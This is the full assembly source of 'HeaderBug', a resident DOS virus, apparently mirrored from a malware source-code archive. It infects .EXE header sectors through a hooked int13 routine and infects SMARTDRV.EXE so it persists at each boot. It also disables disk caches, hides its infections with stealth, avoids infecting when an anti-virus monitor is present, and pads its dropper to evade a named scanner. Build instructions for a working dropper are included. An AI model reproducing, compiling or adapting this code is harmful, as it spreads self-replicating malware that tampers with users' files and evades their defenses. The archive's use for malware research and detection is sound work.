mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
289 lines
14 KiB
Plaintext
289 lines
14 KiB
Plaintext
|
;=============================================================================
|
||
|
; Virus Name: HeaderBug
|
||
|
; Effective Length: 324 Bytes (no increase in file length)
|
||
|
;
|
||
|
; Notes:
|
||
|
; - resident, BIOS-level-stealth .EXE header infector
|
||
|
; - undetectable by any current A-V scanner even w/o stealth
|
||
|
; - infects SMARTDRV.EXE to ensure residency at each boot
|
||
|
; - infects .EXE header sectors whenever accessed for write
|
||
|
; OR read (during reads only if A-V monitor is not
|
||
|
; resident)
|
||
|
; - As a result, will infect every target .EXE file during
|
||
|
; even such operations as a fixed disk DEFRAG
|
||
|
; - successfully infects Windows .EXE files without
|
||
|
; detection even when 32-bit file access is in use
|
||
|
; - does not decrease available memory
|
||
|
; - no harmful payload
|
||
|
;
|
||
|
; To Compile:
|
||
|
; - use shareware A86 assembler
|
||
|
; - type "a86 headbug.a86"
|
||
|
; - resulting headbug.com is actually an .exe file.
|
||
|
; It is a virus dropper which, if executed, will infect
|
||
|
; your system with HeaderBug
|
||
|
;=============================================================================
|
||
|
|
||
|
start_offset equ 07d*4-1
|
||
|
res_offset equ start_offset-01a0
|
||
|
com_offset equ 0100
|
||
|
header_offset equ 01a0
|
||
|
infect_tag equ 0c033
|
||
|
setver_tag equ 0d4a
|
||
|
viruslength equ 0144
|
||
|
old_code_length equ 012
|
||
|
|
||
|
EH_Signature dw 'ZM' ;set to 'MZ' or 'ZM' for .exe files
|
||
|
EH_Modulo dw 0000 ;remainder of file size/512
|
||
|
EH_Size dw 0012 ;file size/512
|
||
|
EH_Reloc dw 0000 ;6 ;number of relocation items
|
||
|
EH_Size_Header dw 000a ;8 ;size of header in paragraphs
|
||
|
EH_Min_Mem dw 0240 ;minimum paragraphs needed by file
|
||
|
EH_Max_Mem dw 0240 ;maximum paragraphs needed by file
|
||
|
EH_SS dw 0240 ;stack segment displacement
|
||
|
EH_SP dw ? ;stack pointer
|
||
|
EH_Checksum dw ? ;checksum, not used
|
||
|
EH_IP dw 0000 ;14 ;instruction Pointer of Exe file
|
||
|
EH_CS dw 0000 ;16 ;code segment displacement of .exe
|
||
|
EH_1st_reloc dw ? ;first relocation item
|
||
|
EH_ovl dw ? ;overlay number
|
||
|
|
||
|
db 084 dup ? ;pad rest of header w/dummy bytes
|
||
|
|
||
|
;-----------------------------------------------------------------------------
|
||
|
; Header_entry - Tests interrupt vector table for room and if there is room,
|
||
|
; installs virus in unused area of interrupt table. Read and write disk
|
||
|
; cache on all drives are disabled (prevents infection problems), SMARTDRV
|
||
|
; infected in default directory to ensure that virus becomes resident on each
|
||
|
; boot and that SMARTDRV's disk cache is never installed. SMARTDRV is
|
||
|
; infected through read-file action (not write) by installed int13 routine.
|
||
|
;-----------------------------------------------------------------------------
|
||
|
|
||
|
header_entry:
|
||
|
xor ax,ax ;set ax=0
|
||
|
mov ds,ax ;set ds=ax
|
||
|
mov es,ax ;set es=ax
|
||
|
|
||
|
dec ax ;set ax=ffffh as flag for zero_test
|
||
|
mov si,start_offset ;set si to start address in INT table
|
||
|
push si ;save value for later use
|
||
|
call zero_test ;check for clear area in INT table
|
||
|
pop di ;set destination offset to INT table
|
||
|
jc exit_header ;if area not clear, exit, don't install
|
||
|
|
||
|
xor si,si ;set source offset to virus start
|
||
|
call move_it ;move virus to empty space in INT table
|
||
|
|
||
|
mov di,offset old13+res_offset ;set destination for int13
|
||
|
mov si,013*04 ;set source for int13 vector
|
||
|
push si ;save value for later use
|
||
|
movsw ;copy int13 vector
|
||
|
movsw
|
||
|
pop di ;set destination for new value
|
||
|
mov ax,offset int13+res_offset ;virus int13 routine offset
|
||
|
stosw ;store new offset in int13
|
||
|
xor ax,ax ;virus int13 routine segment
|
||
|
stosw ;steal int13
|
||
|
|
||
|
mov bx,03 ;value required for STATUS call
|
||
|
mov bp,05 ;set max. number of drives
|
||
|
kill_cache:
|
||
|
mov ax,04a10 ;SMARTDRV STATUS function
|
||
|
push ax ;save it for later use
|
||
|
mov dl,02 ;turn off drive's read buffer
|
||
|
int 02f ;do it
|
||
|
|
||
|
pop ax ;restore ax
|
||
|
mov dl,04 ;turn off drive's write buffer
|
||
|
int 02f ;do it
|
||
|
|
||
|
dec bp ;decrement drive number
|
||
|
jns kill_cache ;if drive number >=0, repeat process
|
||
|
|
||
|
push cs
|
||
|
pop ds ;set ds=cs
|
||
|
|
||
|
mov ax,03d00 ;open file w/handle
|
||
|
mov dx,offset filename-header_offset ;point to filename
|
||
|
int 021 ;do it
|
||
|
jc exit_header ;if flag=fail, exit
|
||
|
|
||
|
mov bx,ax ;save handle
|
||
|
|
||
|
mov ah,03f ;read file w/handle
|
||
|
mov ch,02 ;read 200h bytes (header sector)
|
||
|
mov dh,02 ;point to buffer area beyond virus
|
||
|
int 021 ;do it (infect SMARTDRV.EXE header)
|
||
|
|
||
|
mov ah,03e ;close file w/handle
|
||
|
int 021 ;do it
|
||
|
|
||
|
exit_header:
|
||
|
mov ah,04c ;terminate with return code
|
||
|
int 021 ;do it
|
||
|
|
||
|
filename: db 'C:\DOS\SMARTDRV.EXE',0 ;file to initially infect
|
||
|
|
||
|
;-----------------------------------------------------------------------------
|
||
|
; Int13 - On any read or write, checks sector for .EXE header characteristic.
|
||
|
; Checks for word found in header of SETVER.EXE to prevent infection and
|
||
|
; resulting problems (lockup) when an infected SETVER is loaded from default
|
||
|
; CONFIG.SYS. If sector is being read, checks for infection then checks for
|
||
|
; presence of A-V monitor before infecting. If sector is being written, only
|
||
|
; checks for SETVER header, since stealth on prior int13 would hide previous
|
||
|
; infection and since any A-V monitor would expect a write action. In both
|
||
|
; read or write cases, sector is restored to appear identical to pre-infection
|
||
|
; before buffer containing .EXE header is presented to calling program. Name
|
||
|
; of virus stored in area of interrupt table used by TBDriver vectors in
|
||
|
; order to prevent system crash if TBDriver is loaded after virus is resident.
|
||
|
;-----------------------------------------------------------------------------
|
||
|
|
||
|
int13:
|
||
|
push cx ;preserve registers
|
||
|
push si
|
||
|
push di
|
||
|
push ds
|
||
|
|
||
|
push es
|
||
|
pop ds ;set ds=es
|
||
|
|
||
|
cmp ah,03 ;write operation?
|
||
|
je write ;if so, jump to write routine
|
||
|
cmp ah,02 ;read operation?
|
||
|
jne chain_old_int13 ;if not, exit
|
||
|
|
||
|
read:
|
||
|
pushf
|
||
|
call far cs:[offset old13+res_offset] ;call int13 (read sector)
|
||
|
jc exit_int13 ;if flag=fail, exit
|
||
|
|
||
|
mov si,'ZM' ;bytes indicating .EXE header
|
||
|
cmp [bx],si ;.EXE header?
|
||
|
jne exit_fail ;if not, exit
|
||
|
|
||
|
cmp [bx+014],setver_tag ;is this SETVER's header?
|
||
|
je exit_fail ;if so, exit
|
||
|
|
||
|
cmp [bx+0a0],infect_tag ;already infected?
|
||
|
je disinfect ;if so, jump to stealth routine
|
||
|
|
||
|
push ds ;preserve ds
|
||
|
xor di,di ;set di to virus destination
|
||
|
mov ds,di ;set ds to point to INT vector table
|
||
|
cmp byte ptr [040*4+3],0f0 ;int40 still pointing at ROM?
|
||
|
pop ds ;restore ds
|
||
|
jb exit_fail ;if not pointing at ROM, A-V monitor
|
||
|
; present, so exit
|
||
|
push cx ;preserve cx
|
||
|
call infect ;infect header in buffer
|
||
|
pop cx ;restore cx
|
||
|
jc exit_fail ;if flag=fail, exit
|
||
|
|
||
|
mov ax,0301 ;write infected header buffer
|
||
|
pushf
|
||
|
call far cs:[offset old13+res_offset] ;do it (call original int13)
|
||
|
|
||
|
disinfect:
|
||
|
lea si,[bx+offset old_header-com_offset] ;set source for code
|
||
|
lea di,[bx+06] ;set destination
|
||
|
mov cx,old_code_length ;set length of old code to restore
|
||
|
cld ;move direction=forward
|
||
|
rep movsb ;restore original code to header
|
||
|
|
||
|
xor al,al ;set al=0
|
||
|
mov cx,viruslength+old_code_length ;set # bytes to overwrite
|
||
|
lea di,[bx+0a0] ;set destination for writes
|
||
|
rep stosb ;overwrite viral code with zeros
|
||
|
|
||
|
exit_fail:
|
||
|
clc ;clear carry to hide any I/O errors
|
||
|
|
||
|
exit_int13:
|
||
|
pop ds ;restore registers
|
||
|
pop di
|
||
|
pop si
|
||
|
pop cx
|
||
|
|
||
|
retf 02 ;return to calling program
|
||
|
|
||
|
tbdriver_vector_area:
|
||
|
db '=HeaderBug=' ;space filler for TBDriver vector
|
||
|
|
||
|
write:
|
||
|
mov si,'ZM' ;bytes indicating .EXE header
|
||
|
cmp [bx],si ;.EXE header?
|
||
|
jne chain_old_int13 ;if not, exit
|
||
|
|
||
|
cmp [bx+014],setver_tag ;is this SETVER's header?
|
||
|
je chain_old_int13 ;if so, exit
|
||
|
|
||
|
push ax ;preserve ax
|
||
|
call infect ;infect header in buffer
|
||
|
pop ax ;restore ax
|
||
|
|
||
|
chain_old_int13:
|
||
|
pop ds ;restore registers
|
||
|
pop di
|
||
|
pop si
|
||
|
pop cx
|
||
|
|
||
|
db 0ea ;"jump far"
|
||
|
old13:
|
||
|
dw 02 dup ? ; to address of orig. int13 routine
|
||
|
|
||
|
infect:
|
||
|
lea si,[bx+0a0] ;set si=source offset for virus code
|
||
|
zero_test:
|
||
|
mov cx,viruslength+old_code_length ;set scan count to virus length
|
||
|
cld ;set direction of scan=forward
|
||
|
test_byte:
|
||
|
lodsb ;load a byte from area to be scanned
|
||
|
or al,al ;check for zero
|
||
|
loopz test_byte ;if zero, check next byte
|
||
|
or cx,cx ;counted down to zero w/o prior exit?
|
||
|
jz infect_OK ;if so, area is clear to infect
|
||
|
stc ;set "clear-to-infect" flag
|
||
|
ret ;return to calling routine
|
||
|
|
||
|
infect_OK:
|
||
|
inc ah ;increment ah
|
||
|
jz exit_infect ;true if calling routine=header_entry
|
||
|
mov cl,old_code_length ;length of old header code to preserve
|
||
|
lea si,[bx+06] ;set source for old code
|
||
|
lea di,[bx+offset old_header-com_offset] ;set storage destination
|
||
|
rep movsb ;store old code in virus
|
||
|
|
||
|
xor ax,ax ;set ax=0
|
||
|
lea di,[bx+014] ;set destination to cs:ip location
|
||
|
stosw ;set cs:ip values in header to 0:0
|
||
|
stosw ; by storing zeros in their locations
|
||
|
lea di,[bx+06] ;set destination to # of reloc. items
|
||
|
stosw ;set # of relocation items to zero
|
||
|
mov al,0a ;set header size value to 0ah to
|
||
|
stosw ; place entry point at start of virus
|
||
|
|
||
|
mov si,start_offset ;set si=start offset of virus
|
||
|
lea di,[bx+0a0] ;set di=destination offset in buffer
|
||
|
|
||
|
move_it:
|
||
|
push ds ;preserve ds
|
||
|
push cs
|
||
|
pop ds ;set ds=cs
|
||
|
|
||
|
mov cx,viruslength ;set cx move count to length of virus
|
||
|
cld ;set direction of move to forward
|
||
|
rep movsb ;move virus to header in buffer
|
||
|
|
||
|
pop ds ;restore ds
|
||
|
|
||
|
exit_infect:
|
||
|
clc ;clear flag to hide any I/O errors
|
||
|
ret ;return to calling routine
|
||
|
|
||
|
old_header:
|
||
|
db old_code_length dup ? ;storage area for original header
|
||
|
; contents
|
||
|
dummy_bytes:
|
||
|
db 0220a dup ? ;dummy bytes used to increase dropper
|
||
|
; length to avoid detection by f-prot
|